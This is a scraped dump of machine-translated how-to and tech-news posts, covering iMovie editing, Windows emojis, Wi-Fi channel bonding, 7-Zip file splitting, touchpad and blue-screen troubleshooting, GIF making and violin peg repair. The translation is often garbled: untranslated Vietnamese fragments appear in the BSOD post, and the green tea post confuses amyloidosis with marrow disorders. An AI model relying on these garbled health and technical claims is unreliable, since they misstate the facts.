holding down ⌘ Command and clicking each file you want to use. Click Import Selected   Move the movie clips into the editing area. Click and drag each movie clip from the list of clips into the editing section at the bottom of the window. You can also select all of the movie clips at once by clicking one and then pressing ⌘ Command+A, after which point you can drag all of the videos into the editing area.   Rearrange your movie clips if necessary. Once in the editing area, you can click and drag a video clip left or right to move it up or down in the video order.\n  Split a clip. If you want to place one video clip in the middle of another clip, do the following: Click the place where you want to insert the second video (e.g., the middle of a clip). Press ⌘ Command+B Click and drag the video that you want to place in the middle of the clip in between the clip's halves.   Adjust the length of a clip. If you want to trim part of a clip, do the following: Select the clip by clicking it. Click and drag the left or right edge of the clip in toward the center of the clip. Stop dragging when the clip is at your desired length.   Preview your movie. Once you've edited the clips to the length and order that you want to use, you can preview your spliced video by clicking the \"Play\"  button below the video window on the right side of iMovie.   Click the \"Share\"   icon. This icon is in the top-right corner of the window. A drop-down menu will appear.   Click File. It's in the drop-down menu. Doing so will open a pop-up window in which you can save your video.\n  Save your video. In order to save your iMovie project as a playable video file, do the following:[1] Make sure the settings in the pop-up window (e.g., \"Resolution\") are correct. Click Next... Enter a name in the \"Save As\" box. Select a save location from the \"Where\" drop-down box. Click Save   David Pac Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqugobaksYyvoJ2dn2KwrbXPrA%3D%3D\n","link":"/post/how-to-splice-video-clips/","section":"post","tags":null,"title":"How to Splice Video Clips"},{"body":"Emojis are a feature that have long been on the iPhone and Android. However, with the introduction of Windows 8, and since Windows 8, Microsoft added custom full-color emojis to Windows. Here is how to access them. Enable the Touch...\nMethod 1of 2:\nWindows 8 and Later  Enable the Touch Keyboard button. Right click on the taskbar, then choose \"Show Touch Keyboard button\".\n  Click or tap on the keyboard (⌨) button on the taskbar.\n  Choose the smiley face (   Marvin Fry Update 04 March 2020\n ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyppbJuscyooaKrXaS7bsPIp5uor6NihW6tzZ1kpZmkmr8%3D\n","link":"/post/how-to-type-emojis-on-windows-8-and-later/","section":"post","tags":null,"title":"How to Type Emojis on Windows 8 and Later"},{"body":"IOS users can now send interesting animations to their friends via the Facebook Messenger chat application.\nDownload Facebook Messenger for Android Download Facebook Messenger for iOS Download Facebook Messenger for Windows Phone Facebook is working day by day to bring users new, better experiences on mobile platforms. After free video calling or money transfer via debit card. Users of this application continue to embrace a new feature, with the ability to share fun and unique GIF animations for their friends. Currently, the new GIF sending feature is only applied to iOS users, Android users will have to wait a little longer.\n  To transfer a GIF image quickly, Facebook Messenger users just need to click on the GIF key to select an animation that matches the content you want to share with your friends and relatives. A series of built-in Facebook animations are actually taken from a dedicated Facebook Messenger app launched by the company not long ago.\nWith this new feature, this largest global social network once again confirms its status as a \"chat service \" not inferior to many of the leading mobile chat applications such as Line, Viber or Skype. And it is capable of operating independently, independent of Facebook.\nncG1vNJzZmismaXArq3KnmWcp51ku6bDjJ%2Bcmqylp7JurculprCrXZuupLHBqKakZZ2awLSxzaCcq2WkpHq0sc2dZJqmmaKutbHDZqCmmZeawA%3D%3D\n","link":"/post/new-feature-allows-facebook-messenger-to-send-animated-images/","section":"post","tags":null,"title":"New feature allows Facebook Messenger to send animated images"},{"body":"The 802.11n WiFi network connection supports the theoretical bandwidth up to 300Mbps under the best conditions. However, 802.11n links sometimes operate at much slower speeds, such as 150Mbps or less.\nIn 802.11n, Channel Bonding uses two adjacent WiFi channels simultaneously to double the wireless link bandwidth compared to 802.11b / g. The 802.11n standard specifies the theoretical bandwidth of 300Mbps available when using Channel Bonding. Without Channel Bonding, about 50% of this bandwidth is lost, and in those instances 802.11n devices typically report connections in ranges between 130 and 150Mbps.\nWarning : Channel Bonding increases the risk of interference to nearby WiFi networks due to increased spectrum and power consumption.\n  Set up 802.11n Channel Bonding 802.11n products generally don't have Channel Bonding enabled by default. Instead, these products run in conventional single-channel mode to keep the risk of interference low. Both the router and the Wireless-N client must be configured to run in Channel Bonding mode at the same time to achieve performance benefits.\nThe steps to configure Channel Bonding will vary depending on the product. Software sometimes calls single-channel operations at 20MHz (20MHz is the width of the WiFi channel) and Channel Bonding mode is operations at 40MHz.\nTip : Refer to your router's documentation for specific instructions on how to enable Channel Bonding mode.\nLimitations of 802.11n Channel Bonding The 802.11n device may not run in its maximum performance range (300Mbps) for the following reasons:\n- Some 802.11n devices cannot support Channel Bonding. For example, this method of wireless transmission is regulated by governments in some countries such as the UK.\nIf the 802.11n network includes any 802.11b / g clients, network performance may be negatively affected, depending on the capabilities of the router. Since 802.11b / g clients do not support Channel Bonding, these clients must be properly set up with the Wireless-N router in mixed mode to minimize the impact on performance.\nInterference from other 802.11n networks nearby may prevent the Wireless-N router from maintaining Channel Bonding connections. Some Wireless-N routers automatically revert to single-channel operation when they detect wireless interference on channels.\n- Even if the connection can run at 300Mbps, that doesn't mean the devices can download and upload data that fast. One main reason for this is that ISP registration does not allow high speeds.\nAs with other networking standards, applications running on 802.11n networks often find actual bandwidth significantly less than the rated maximum, even with Channel Bonding. 300Mbps rated 802.11n connections typically deliver user data throughput of 200Mbps or less.\nncG1vNJzZmismaXArq3KnmWcp51kwKbAjK6nZnBgZ35yuoycn5qmnpq5bq7Op5uippdiwbB5wJyfop2mmnp0fI%2BmmamrXai9prHD\n","link":"/post/set-up-802-11n-channel-bonding-to-achieve-300mbps-speed/","section":"post","tags":null,"title":"Set up 802.11n Channel Bonding to achieve 300Mbps speed"},{"body":"Professor Kokichi Sugihara from Meiji University created strange objects that look completely different when viewed through mirrors. These strange objects create an optical illusion that many viewers cannot help but be amazed and excited. Perhaps this is the highest realm of illusion.\nSugihara is an optical mathematician and creative artist, having won many major awards at the Best Illusion of the Year Contest.\nObjects created by Sugihara have extremely delicate lines that can create illusion for viewers.\n  When viewed directly, this object is like a 4-pointed star but when placed in front of the mirror it suddenly turns into 4 different small circles when viewed from the opposite side.\n  This special arrow always points to the right no matter which direction you rotate. It is hard to believe that, when viewed from another angle, it looks like the picture below, the corners and edges of the arrow turn into a circle. The reason is that the difference in elevation gradually creates illusion for viewers.\n  Next is the square cylinder that turns into a circular cylinder when looking through the mirror.\n  To make toys and objects that can create such illusions is not easy, requires the employee to have a very good ability to think of cubes, especially to calculate the exact ratio to each mm. With his talent to turn ordinary objects into hallucinations that blended complexity and simplicity, Sugihara proved to everyone that he was not only a mathematician but also a magician.\nHere are a few Sugihara hallucinations and explanations, please admire. In addition, to see more interesting works, you can look at Sugihara's Instagram account under the following link.\nhttps://www.instagram.com/physicsfun/  ncG1vNJzZmismaXArq3KnmWcp51kwKq5z6WcZqeSn7KkwNJmq6GZpGKworqMnKmemaSaerC806KamqRdnrmtwdKipqerXZi8r7LUrJxmrpmaxKa%2B0g%3D%3D\n","link":"/post/simple-objects-that-can-create-optical-illusions-confuse-viewers/","section":"post","tags":null,"title":"Simple objects that can create optical illusions confuse viewers"},{"body":"Here are the most unique and unique PC case covers on display at Computex 2019, please watch. Surely you will be amazed at the creation of the modder and will 'vibrate the ring' by one of them.\nThe Modder nicknamed \"Ice Freeze\" brings Computex 2019 a unique case with a design inspired by the Beijing National Stadium (also known as the Bird's Nest Stadium) with the Olympics logo attached. between. Components inside this case include: Intel Core i7-8700K CPU, ASUS ROG STRIX Z390-I GAMING motherboard and 1000W Antec source.\nA Game of Thrones theme case of the \"YJ Mod\" modder is on display at Computex 2019.\nJengki Wmp modder from Thailand is the author of a unique case with a fake gun at the top, it can even rotate around. Inside this case is the Core i7-8700K chip, the NVIDIA GTX 1080Ti GPU, the FSP 850W source . with a neatly arranged green water cooling system.\nCase cover style astronaut, contained within it is MSI Z390I GAMING EDGE AC mainboard, RAM GSKILL Trident Z and MSI GeForce GTX 1070 Aero GPU. This is the work of the \"Cap-Ten\" modder.\nThe impressive feature of this case is the hologram image of a virtual singer inside.\n  This is definitely a fan case for Heineken beer. Components inside it include MSI Z390 GODLIKE mainboard, Intel Core i7-8700K chip, SSD 512GB, NVIDIA GeForce RTX 2080 GPU and water radiator.\nCase case inspired by the game Apex Legends, a first-person shooter game based on battle royale style, made by modder AK from Taiwan.\nA case with a style of \"skull skull\" impresses viewers in the booth of Mr.Kill.\n  In addition to the above skull skull style, modder Ron Lee Christinason from the US also adds to his case and treasure case.\n   A giant case case, in a style that only the author probably knows.\n  Continuing is another huge case.\n  The case called \"Yong\" is based on the idea of ​​the bone structure of birds created by the famous producer InWin. The author sells this unique case with prices up to 4000 USD.\nThe case of the case is impressed by the luxury that comes from the combination of two colors, gold and silver, by the Vietnamese modder \"Nguyen Dinh Ban\" nicknamed the \"Amber Spider\". Configuration of the PC is quite strong with Core i9-9900K chip, GIGABYTE Z390 AORUS XTREME mainboard, NVIDIA GeForce RTX 2080 Ti GPU, Corsair Dominator Platinum RGB RAM, and FSP 850W source.\nncG1vNJzZmismaXArq3KnmWcp51kwamx0p5kmqqVYsGpsYympqysXaq7qr3UnmSappRitabAxKumoJ2emry2v4ypmmabkaiybq%2FArJysZZGpeqS7zKmsrZ2oYn9xfZhmmGabkaiybrnAnZxmmqliw6qx06eYpp2jmnquu8OdnKtlkaHAsHnCqKWtqpmXwrWxww%3D%3D\n","link":"/post/these-are-the-most-unique-and-heterogeneous-pc-case-cases-at-computex-2019-a-case-made-by-vietnamese-modder-also-contributed/","section":"post","tags":null,"title":"These are the most unique and heterogeneous PC case cases at Computex 2019, a case made by Vietnamese modder also contributed"},{"body":"Free game sites are interesting places to play online games without downloading to your computer. You are confused about where to play when there are too many choices? To make it easier for you to choose, this article summarizes the list of the best online gaming websites.\nGood online gaming sites 1. Addictinggames.com 2. Miniclip.com 3. Pogo.com 4. Playretrogames.com 5. Kongregate.com 6. Mmogames.com 7. Poki.com 8. Bigfishgames.com 1. Addictinggames.com Advantages:\nDiversity of online games No download required Defect:\nAdvertising cannot be ignored Lack of instructions in some games Advertising between games   This online gaming website has some addictive and free games. Addicting Games has a number of flash game categories such as Puzzle, action games, Zombie, Funny, etc. The games on this site are less demanding to download and just a click away you can enjoy the game now. However, the website contains many ads that you cannot ignore before 15 seconds and some games do not have clear instructions on how to play.\n2. Miniclip.com Advantages:\nFree online battle royale game Large list of action games, adventures and other free online games Defect:\nLonger loading time In multi-player games may be lagging   Miniclip has free online games that fall under the category of action, adventure and some other genres. It also has a free royale battle game. When playing games on the page you need to wait for the download because it is bigger than the flash games. Sometimes large battle royale online games also lag your game experience. But in return for the variety of genres and quality you can ignore these defects.\n3. Pogo.com Advantages:\nThere are many popular games RPG, action and puzzle games are of good quality Defect:\nLong game download time Requires registration to play some games   The site has popular titles like Plants Vs Zombies, Scrabble and many other games. Pogo has many good games to keep you entertained for hours without boredom. However, the site requires players to sign up to play free online games and have lots of ads while playing. Some games have a long load time.\n4. Playretrogames.com Advantages:\nProvide popular titles from the 8-bit era Support the game handle Bring to the wonderful library of all gaming machines from the 90s Defect:\nTime to download games is quite time consuming Slow internet can affect the gaming experience   Playretro Games is one of the best free game websites on the Internet. The game library includes famous 8 bit games from the NES era, including Castlevania and Jurassic Park. Some games require a long load time but in return you won't have lag issues when playing or advertising. Most of the free 8 bit online games support the NES controller, which is one of the best features of the website.\nRemembrance with 7 classic classic games for free on smartphones 5. Kongregate.com Advantages:\nThere are many types of free online games Can play for hours without being interrupted by the ad Defect\nRequired to login with Facebook account   This game site requires you to log in via Facebook before playing. Kongregate offers a variety of free online games that players can enjoy without downloading. In addition, you can play the game here for hours without ads affecting.\n6. Mmogames.com Advantages:\nCollection of MMO and ROG games There are several Open beta versions for upcoming titles Some games can be downloaded to play offline Defect:\nIt takes a lot of time to download big games Not for users with a slow Internet connection   This website is a gift for all fans of Massively Multiplayer Openworld game. Mmogame has a huge library of free games that can be played online or downloaded if you like. You can even find some upcoming new Open beta games on this site. In addition, it also provides the latest news about MMO and RPG games. Needless to say, this is one of the best online game sites you should try.\n7. Poki.com Advantages:\nPlay popular Android games without the emulator A lot of games and ads can be missed Defect:\nLong loading time in the game   This site allows you to play all the famous Android games like Subway Surfer, Bullet Force and many other online PC games. Poki eliminates the hassle of installing the Android emulator to play PC games. This site is suitable for all users who want to play their favorite Android games with the mouse and keyboard.\nHow to play Android games on computer with AMIDuOS 8. Bigfishgames.com Advantages:\nThere are gaming instructions if you need help Regularly release new games Some games can be downloaded and played offline Defect:\nFlash required during game play Some games are for play only, you need to pay to play the full version   Big Fish Games is a popular site for downloadable games for Windows and Mac but it also has some good options with thousands of free online games.\nSome popular games on Big Fish Games include hidden objects, casino, strategy games, brain training games, puzzles, family games, etc. Popular games here include Big Fish Casino, Hidden Express, Cubis Gold 2, Fitz! and Bubblez !.\nYou should check out the newly released game and Top online games to find out the free hot online games today. Big Fish Games also released games for iPhone, iPad and Android.\nWish you all have fun playing games!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jHFkqKacnrumecaapKKml2LEpq7Soqueq12kv25%2Bj2pw\n","link":"/post/top-8-online-gaming-websites-or-2019/","section":"post","tags":null,"title":"Top 8 online gaming websites or 2019"},{"body":"You need to store data files with no small capacity, but online support services often limit this feature. For example, SkyDrive is limited to 50 MB per file, while the Dropbox Desktop Client is up to 300 MB via web application, so if you use another computer and want to continue uploading data to DropBox, you need to split. that file. This is also a common way today. There are actually two possible ways: compress the file to the smallest possible level or split it into sections to minimize the total capacity.\nIn this test, we use 7-Zip tool, right-click on any file or folder and select Add to * .7z\n  Despite compression, is the file upload size still too large? Open 7-Zip and point to the archive file, right-click and select Split File:\n  The next function window is displayed, users can select standards such as CD - DVD or Floppy, fill in the specific capacity by MB, then click Split :\n  And wait for 7 zip to complete the file split:\n  Now, you can easily upload data conveniently and much simpler:\n  If you want to restore the original file, right-click the file with the .001 extension and select Combine Files (these files have the same name and are in the same folder):\n  7-Zip will automatically detect the remaining component files and ask if you want to save the file after combining it. Click OK:\n  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwrG4zpqbZqSRp7SmecWio56rXau2onnSpLCdqpmrsm6w0ainm6eoYryzecSmmKKk\n","link":"/post/upload-large-files-via-skydrive-dropbox-or-email/","section":"post","tags":null,"title":"Upload large files via SkyDrive, DropBox or email"},{"body":"The operation on the touchpad brings a lot of convenience to the user. But sometimes, the laptop touchpad may not work and stop responding. If you've ever been a victim of a similar problem, this guide is for everyone. Let's learn how to fix touchpad not working on Windows 11 and apply to your device\nRestart the computer This is always the way to try first in case of an error. If the touchpad isn't working due to a minor software glitch, restarting the PC should fix this.\nTo restart the PC, people can use an external mouse or keyboard. To restart the PC using the keyboard, press the Start button, use the arrow keys to select Power, and press the Enter key. Now, select Restart from the menu and press Enter again.\n  Enable touchpad Before thinking about a broken touchpad situation, check that it is turned on and working properly. Many laptop models have a function key to disable the touchpad. Therefore, users need to check if they have accidentally disabled the touchpad.\nCheck your antivirus program Anti-virus programs can interfere and modify touchpad settings. To be sure, disconnect from the internet and then temporarily disable anti-virus software to check if that affects the touchpad's performance.\nRun Troubleshoot Windows provides a series of troubleshooters that are able to diagnose and fix errors themselves. Follow these steps to access it.\nStep 1: Open the Start menu, type cmd and use the arrow keys to navigate to Run as administrator \u0026gt; press Enter.\n  Step 2: In the console, type the command msdt.exe -id DeviceDiagnostic and press Enter. Step 3: In the Hardware and Devices window that appears, click Next to allow it to scan for any problems.\n  If the tool asks to perform an automatic repair after completing the scan, select Apply this fix to continue. Once done, reboot the device and test the touchpad.\nFix touchpad driver If the troubleshooter fails to identify any problems with the touchpad, it can be resolved and repaired using the Settings menu.\nStep 1: Press the Windows + I key combination to launch Settings. Switch to the Apps tab on the left and select Apps \u0026amp; features.\n  Step 2: Find the touchpad, click the three dots next to it and select Modify.\n  Step 3: Follow the on-screen instructions to complete the restore process.\n  Update or reinstall the driver If automatic updates are turned off on Windows, the drivers will become outdated and can cause touchpad errors. In that case, try manually updating the driver by following the steps below.\nStep 1: Open the Start menu, type device manager and press Enter.\n  Step 2: Expand the Mice and other pointing devices section, right-click on your touchpad and select Update driver option.\n  System recovery Windows 11 has a handy feature called System Restore that performs a full system backup periodically. Such backups can be useful when there is a problem that cannot be resolved in other ways. Apply this method to return the touchpad to its original state in case of an error.\nStep 1: Open Start, type create a restore point and press Enter.\n  Step 2: In the System Protection tab, click the System Restore button.\n  Step 3: Users can use the suggested restore point or choose another one by themselves by tapping the second option.\n  Select a restore point, click Next, and follow the on-screen instructions to perform a system restore.\nWindows 11 touchpad ncG1vNJzZmismaXArq3KnmWcp51kxKLF0marqGWWnsVuwM6umqGokZl6r7vTZq6oqpueu6h5zqdksKGemby4v4xqaA%3D%3D\n","link":"/post/ways-to-fix-touchpad-not-working-on-windows-11/","section":"post","tags":null,"title":"Ways to fix touchpad not working on Windows 11"},{"body":"A new medical compound that has just been found in green tea has many health benefits for patients suffering from myelogenous disorders receiving medical attention.\nSpecifically, a group of US scientists has just announced that a compound found in green tea leaves has been discovered, scientific name is Epigallocatechine-3-gallate (EGCG) plays an important role, yes useful for those who are suffering from amyloidosis , causing myelosuppression and dangerous death. The main author of the study, Jan Bieschke of the University of Washington said in a statement.\n  Before, Amyloidosis is a rare condition when a substance called amyloid accumulates in the body's organs. Amyloid is an abnormal protein, produced in the bone marrow, can reside in any tissue or organ.\nAmyloidosis can affect different organs in different people, and there are many types of amyloid. Amyloidosis often affects the heart, kidneys, liver, spleen, nervous system and digestive system. If serious illness can lead to marrow disorders, organ failure . and may be life-threatening.\nTo get this conclusion, the team extracted Epigallocatechine-3-gallate (EGCG) to work with the Amyloid harmful protein found in the marrow from the bodies of 9 patients suffering from Amyloidosis. Birth marrow . After that, take the test under light conditions and laboratory temperature .\n  The results showed that when EGCG in green tea leaves reacted with Amyloid, this harmful protein was completely inhibited by the ability to regenerate and prevent Amyloid protein from spreading widely in the marrow. The presence of EGCG helps to reduce the effects of Amyloid on organs, improving the status of marrow disorders in a positive direction.\n  Currently, the scientific team is continuing to study more intensively on Epigallocatechine-3-gallate (EGCG) in green tea leaves with bone marrow-related diseases .\nThis finding has just been published in the Journal of Biological Chemistry.\nncG1vNJzZmismaXArq3KnmWcp51ktLC7w2alnq%2BjYrSzscSnZK2dkWK2tHnGqKadZZakv268xKinpZ1drLa1tIymsJ6kn5yyr7vUrGSdoaOkv6Wx0aw%3D\n","link":"/post/green-tea-is-good-for-people-with-myelogenous-disorders/","section":"post","tags":null,"title":"Green tea is good for people with myelogenous disorders"},{"body":"Surface Duo is not only one of Microsoft's most ambitious projects, but also the first step to mark Microsoft's participation in the Android hardware market.\n The Surface Duo is expected to go on sale later this year and the closer Microsoft gets to this point, the more interesting things Microsoft will share about it. This is very important as it will provide the necessary information for developers to create optimal applications and make the most of the device's capabilities.\nMicrosoft recently shared a new developer guide on details regarding modes on Surface Duo. As a device with two screens, the Surface Duo will have many different screen usage directions.\nSpecifically, when an application launches on the Surface Duo, it will display in either portrait or landscape mode, on one screen or on both. In other words, no matter which direction you use the Surface Duo, apps can technically make full use of two monitors if the user wants them.\n Surface Duo and Surface Neo (dual-screen laptops running Windows 10X) are two devices that show Microsoft's vision of dual-screen devices, even the future is a foldable device completely like the Galaxy Fold or Galaxy Z Flip.\nMicrosoft is betting big on the two devices above and hopes it could create a new push in the hardware market that has long been at a loss.\nThe Redmond giant always aims to innovate and pioneer on new products. Therefore, Microsoft hopes that after launching these two products, other partners will join and expand this potential market.\nAccording to experts, Surface Neo will soon sell in the near future because Microsoft has perfected the product. Microsoft initially said it will sell the product on holiday this year. However, everything depends a lot on the current situation of the Covid-19 epidemic in the world.\nncG1vNJzZmismaXArq3KnmWcp51ktaa%2BxKxkoaenYsGpsYyap6mrXay2rbiMsKaro12ku265yJypqKufm8G0ecWiqaysXajCs7LAnJxmnKWkeqK6w6umopxdqLqivtOpn6imlQ%3D%3D\n","link":"/post/here-s-how-the-apps-will-work-on-microsoft-s-first-surface-duo-android-smartphone/","section":"post","tags":null,"title":"Here's how the apps will work on Microsoft's first Surface Duo Android smartphone"},{"body":"Currently some tools or services create a lot of animations, in which online tools are sought and used by many people. We will not have to install any other software, or other support, but still be able to make quick animations. Online tools allow you to source images in many places, not only from your computer, but also on social networking sites or online photo storage services such as Gickr.\n3 tips to improve low-resolution image quality Instructions for creating animated images and GIF images in Adobe Photoshop CS6 Photoshop CS: Pairing 2 simple images into one With the main function that supports animation, Gickr will help you create many GIF images with fast speed. Besides, we can use photos on a computer or take videos from Youtbe to create an animation, then share on social networks. Join Gickr Service Discovery Network Administrator to create an online animation in the tutorial below.\nHow to create GIF images online from photos on your computer First you need to access Gickr's homepage.\nStep 1: At the main interface of the program, we will see there are quite a number of photo sources to choose from. Due to the image available on the computer, you will click the Upload Picture section.\n  Step 2: Next, click on Select file to get image from computer as GIF.\n  Gickr allows you to make animations up to 10 images, so if you want to get more photos, click Add one more picture .\n  Step 3: After selecting a GIF image, click the Size and Speed ​​section to select the size of the image as well as the speed of conversion between images. Setup is complete and click Continue to proceed with the animation.\n  Step 4: Depending on the size of each image and the number of images that the process of creating GIF images will be fast or slow.\n  And this is the result after Gickr has finished creating the GIF. We can download photos to a computer, or share on socially powerful sites like Facebook, Twitter, send via Gmail, .\n  Create animations from videos on Youtube Note, you do not select videos that are too long. Video should be chosen over 1 minute or less than 3 minutes for Gickr to be able to handle the video.\nStep 1: At the main interface of the program, click on from Youtube .\n  Step 2: Copy the URL of the video URL on Youtube and paste it into the white box in the Youtube link .\nNext, select the image size and the number of frames that appear in the image. Finally choose Continue to proceed with making the GIF.\n  Step 3: After creating the GIF image, we can also download the image to the computer, or share it on social sites. If necessary, copy the link below.\n  In less than 1 minute you can create your own unique GIF images from photos that are usually in your computer, or from YouTube videos.\nRefer to the following articles: Make sharp photos in 2 ways in Photoshop How to use Photoshop CS5 - Part 1: Toolbox Instructions to reduce the volume of photos in Photoshop I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyopaWhnpp6orrIppitoZ%2BjwG7B0qKloGWXnrCsvg%3D%3D\n","link":"/post/how-to-create-online-animations-using-gickr/","section":"post","tags":null,"title":"How to create online animations using Gickr"},{"body":"When Windows crashes, the screen will display a blue screen of death - aka \"BSOD\" in seconds and then the computer will restart. The BSOD screen contains a short description of the STOP error and some general instructions to fix the crash.\nAt the same time when BSOD happens, Windows creates a small dump file (aka \"minidump\"), in the \" C: WindowsMinidump \" folder that contains some details about the BSOD error and some solutions to support user carving. recover BSOD errors. In the following article, Network Administrator will show you how to find detailed instructions to find out the cause of Windows crashes.\n    1. Find the cause of the dead blue screen error on the BSOD screen To find the cause of the BSOD error, you can check the details of the system error hanging from the blue screen of death (Blue Screen Of Death) or analyze the BSOD Minidump file.\nStep 1: Prevent Windows from automatically restarting after BSOD crashes The first step is to prevent Windows from automatically starting up when the system crashes to allow enough time to finish reading the BSOD error message displayed on the screen. To disable Automatic Restart:\n1. Open Windows Explorer and in the left pane right-click the Computer (This PC) icon and select Properties .\n  2. Select Advanced system settings .\n  3. Open Startup and Recovery settings .\n  4. Uncheck Automatically restart then click OK .\n  Step 2: Check for dead blue screen errors After disabling the \"Automatically Restart\" feature, you will have enough time to read the details of the dead blue screen error message when the system crashes.\nHow to find the cause of a system error hanging from the blue screen of death?\n- On Windows 7 or Windows Vista:\nThe most important information on the blue screen of death is near the top and contains errors with application files or drivers that cause BSOD errors (if any).\nEg:\nNếu đây có tập tin dưới đây, tập tin mà không có lỗi BSOD Problem là \" ntoskrnl.exe \" and the thông báo lỗi \" IRQL_NOT_LESS_OR_EQUAL \"\nOther useful information is located near the bottom of the BSOD screen and contains the number of STOP ((aka \"Bug Check Code\") errors on the \" 0x \" form and then the quotation marks containing the error parameters.\nFor example :\nTập tin mã số này không phải là \" 0x0000000a \"\n{Blue Screen Of Death (sample) in Windows 7 or Windows Vista}\n  After reading and finding errors on the BSOD screen, you can search on Google to find solutions to fix BSOD errors.\nFor example, searching the network \" ntoskrnl.exe IRQL_NOT_LESS_OR_EQUAL\" or \"IRQL_NOT_LESS_OR_EQUAL 0x0000000a \", .\n- On Windows 10, 8.1 and 8:\nBlue screens of death on Windows 10 and Windows 8 have more new points. The BSOD screen only contains a hang error (marked with a red frame icon as shown below) and only advice on finding errors online.\n  2. Fix the dead blue screen error from Memory Dump - Minidump file The second method to find out the cause of BSOD Crash error is to read the details stored on BSOD Minidump files.\nTo view minidump file information, you can use NirSoft's BlueScreenView (Blue Screen Viewer) utility, which will scan all minidump files created during the 'blue screen of death' process and display details. All errors are suspended in 1 table.\nHow to find out the cause of System Crash error from BSOD Minidumb files? 1. Download the free BlueScreenView utility in accordance with the version of the operating system you use (32 or 64 bit).\nDownload the BlueScreenView utility for free for the 32-bit version here. Download the free BlueScreenView utility for the 64-bit version here. 2. Open BlueScreenView and the program will automatically search and analyze the minidump file created during the BSOD process.\nAt the top of the section, BlueScreenView utility, you will see a list of minidump files created during the system crash, displayed by date / time, and display the Stop Error error message on the blue screen of death. driver or module details are the cause of the error. At the bottom of the utility panel BlueScreenView displays applications or drivers or modules that may be causing the crash, so you should pay attention .   3. Right-click any line and select \" Google Search - Bug Check + Driver \" or \" Google Search - Bug Check \" or \" Google Search - Bug Check + Parameter 1 \" to search for solutions to fix BSOD error online.\n  Add useful features BlueScreenView 1. BlueScreenView gives you the ability to view the blue screen of death displayed by Windows during the BIOS crash. To do this, access the Options menu from the main menu and select Lower Pane Mode =\u0026gt; Blue Screen in XP Style .\n  2. Double-click on any line (in the top or bottom corner of the table) to see the BSOD issue details.\n  3. If the system crash fails to load Windows, you can convert the Minidump folder (C: WindowsMinidump) to another folder to operate on your computer and check the minidump files here. To do this thing:\n1. Select the Advanced Options icon located in the File menu or go to Options =\u0026gt; Advanced options .\n  2. Then click Browse to search for the minidump file to convert to the Minidump folder.\n  Refer to some of the following articles: Display BIOS information on Windows 10 using Command Prompt Instructions for setting up BIOS and UEFI passwords to protect data on your Windows 10 computer safely How do I know if someone has accessed and used your computer? Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6Zo7FuwMeeZJyZpaiybrvFZpmlrZViwKS%2BxJ6lZpyVlsGpecCnm2almaO2pcHMqWSeqqKkv7Q%3D\n","link":"/post/how-to-find-the-cause-of-blue-screen-death-and-minidump-errors/","section":"post","tags":null,"title":"How to find the cause of blue screen death and Minidump errors?"},{"body":" The violin is a pretty straightforward instrument, but it can be really frustrating when your tuning pegs 'slip,' or refuse to stay put. Humidity and temperature may be making your violin scroll to warp a bit, which causes your tuning pegs...\nSecuring the Peg in the Scroll Place your middle or pointer finger beneath the finicky string. Find the specific peg and string that won't tune properly, then use your finger to lift and separate it from the other 3 strings. For the safety of your instrument, only adjust 1 string at a time.[2]\n Turn the problematic peg 1-2 times to unwind the string. Twist the peg with your opposite hand, providing more slack to the string as you turn. Continue lifting the string with your finger so it's easier to distinguish and work with.[3] When you're first starting out with this method, it may be easier to work with the violin in your lap. Once you get the hang of it, you can adjust your instrument while it's on your shoulder. Did you know? You have to spin left and right pegs in different directions to loosen and tighten the strings. Left pegs, or the G and D strings, are tightened when spun counter-clockwise and loosened when turned clockwise. Right pegs, or the A and E strings, are secured in place when spun clockwise, and loosened when turned counter-clockwise.[4]\n Pull the loosened string in the direction of the peg. Take your pointer or middle finger and tug the string to the left or right. Ideally, try to pull the string 1 to 2\u0026nbsp;in (2.5 to 5.1\u0026nbsp;cm) to the left or right of your violin's neck.[5] If you're adjusting a D or G string, pull it to the left of the violin neck. If you're working with an A or E string, tug it to the right.[6]  Rotate the peg slowly to wind the string onto the peg. Work in slow, careful rotations, keeping the string in your opposite hand as you go. If you're holding the violin in your lap, turn the peg towards you.[7]\n Push the peg gently into the scroll while you wind. Apply slight pressure as you continue winding the string onto the peg. Don't jam the peg into the scroll—instead, push gently while you rotate the peg. Keep in mind that as you push the peg into the scroll, it will become more difficult to turn. Continue rotating the peg until it's tightly attached to the rest of the instrument.[8] Pushing the peg helps realign it into the scroll box. When you adjust your tuning pegs this way, they're more likely to stay put for several weeks or months at a time.  Tune the stringto make sure your peg is tight. Play a basic note on your string, then use a digital tuner to see if it's in tune. Use your refitted tuning peg to adjust the note up or down so all your music sounds beautiful and in tune.[9]\n Using Peg Compound Turn the finicky peg to remove it and the string from the scroll. Carefully unwind the string from the peg, then set it aside.[10] At this point, check that the tuning peg is in good condition, and that it isn't cracked or damaged in some way.[11] A functioning tuning peg has a visible, shiny band going around the shaft, which is where the peg rubs against the rest of the scroll box. If your tuning peg is damaged, take your instrument to a repair specialist for help. If you're working with a left peg, turn your peg clockwise to remove it. If you're dealing with a right peg, turn it counter-clockwise.  Rub peg compound along the shaft of the loose peg. Visit your local music store and pick up some peg compound, which looks pretty similar to a block of resin. Rub the compound all around the sides of the peg so it can slide more easily into the instrument.[12] You can also use a regular bar of soap if you don't have any peg compound on hand.[13] You may want to rub the compound into the peg with your fingers, in case there's any excess product.  Insert and spin the peg in the scroll to spread the compound around. Take the stringless peg and push it back into its proper place on the scroll box. Rotate the peg to spread the compound around the edges of the hole, which will make it easier to spin and adjust your tuning peg.[14]\n Lubricate the peg with more compound. Pick up your block of compound and rub around the bottom of the peg one more time. You don't need to rub too much on there—just enough to cover the surface of the peg lightly.[15]\n Secure the peg onto your violin and restring it. Check that your peg is snug in the scroll box, then thread the original violin string through the hole on the peg. If you're working with a left peg (the G and D strings), turn the peg counter-clockwise to wind the string. If you're handling the right peg (or the A and E strings), spin the peg clockwise instead.[16]\n Tune your violin to see if your peg is tight. Play a basic note on your violin, focusing on the tuning peg that you just adjusted. Check the pitch with a digital tuner, then rotate your peg to adjust the string.[17] If the peg still slips, try using a tiny bit more peg compound on the finicky peg. Tip: Peg drops can also be used if you don't have any compound on hand. Remove the tuning pegs from the scroll, then squeeze a drop of product onto the shaft of the peg. If the peg stays in place, restring it as you normally would.[18]\n  David Pac Update 15 April 